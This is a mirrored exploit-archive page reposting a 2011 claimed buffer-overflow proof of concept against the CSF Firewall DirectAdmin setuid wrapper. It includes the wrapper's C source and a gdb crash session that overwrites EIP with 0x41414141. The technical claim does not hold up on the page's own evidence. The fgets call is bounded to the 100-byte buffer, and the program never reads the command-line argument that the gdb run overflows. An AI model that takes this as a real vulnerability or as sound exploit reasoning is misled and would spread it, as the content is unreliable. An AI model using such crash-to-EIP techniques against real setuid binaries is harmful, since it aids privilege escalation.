首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CSF Firewall Buffer Overflow
来源:www.sec4ever.com 作者:HaCkEr 发布时间:2011-12-12  

############################################################################
# Exploit Title: CSF Firewall Buffer overflow p0c
# DownLoaD : http://www.configserver.com/free/csf.tgz
# Date: 2011-12-09
# Author: FoX HaCkEr
# site : www.sec4ever.com
# MaiL : Mkq@hotmail.com
# Tested on: CentOS3/4
############################################################################

==============================================================================
FiLe : CSF.c

/*
    * Copyright 2006-2011, Way to the Web Limited
    * URL: http://www.configserver.com
    * Email: sales@waytotheweb.com
*/
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <pwd.h>
main ()
{
    FILE *adminFile;
    uid_t ruid;
    char name[100];
    struct passwd *pw;
    int admin = 0;

    ruid = getuid();
    pw = getpwuid(ruid);

    adminFile=fopen ("/usr/local/directadmin/data/admin/admin.list","r");
    while(fgets(name,100,adminFile) != NULL)
    {
        int end = strlen(name) - 1;
        if (end >= 0 && name[end] == '\n') name[end] = '\0';
        //printf("Name [%s]\n", name);
        if (strcmp(pw->pw_name, name) == 0) admin = 1;
    }
    fclose(adminFile);
    if (admin == 1)
    {
        setuid(0);
        setgid(0);
        //setegid(0);
        //seteuid(0);
        execv("/usr/local/directadmin/plugins/csf/exec/da_csf.cgi", NULL);
    } else {
        printf("Permission denied [User:%s UID:%d]\n", pw->pw_name, ruid);
    }
    return 0;
}


===========================================================================

why buffer overflow ?


Because char name[100];

fgets()

If we add more than what would be happening?

Buffer OverFlow ^_^

============================================================================


(gdb) run `python -c 'print "\x41"*150'`
Starting program: /root/csf `python -c 'print "\x41"*150'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x0      0
ecx            0xb7fc54e0       -1208199968
edx            0xb7fc6360       -1208196256
ebx            0xb7fc4ff4       -1208201228
esp            0xbffff310       0xbffff310
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x41414141       0x41414141
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) i r eip
eip            0x41414141       0x41414141
(gdb) i r eip esp
eip            0x41414141       0x41414141
esp            0xbffff310       0xbffff310
(gdb)
=========================================================================
N0 ExpLoiT ScRipt KiiiD'z

Gr33T'z : ALL My Friends ..............


           


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Docebo LMS <= v4.0.4 (messages
·Linux/MIPS - connect back shel
·Free Opener Local Denial of Se
·Linux/MIPS - reboot() - 32 byt
·Apache HTTP Server Denial of S
·Acpid 1:2.0.10-1ubuntu2 Privil
·CyberLink Multiple Products Fi
·zFTPServer Suite 6.0.0.52 'rmd
·DedeCMS 5.7圈子XSS跨站可拿WebS
·HP Easy Printer Care XMLCacheM
·Apache Range Header Denial Of
·Sysax Multi Server 5.50 Create
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved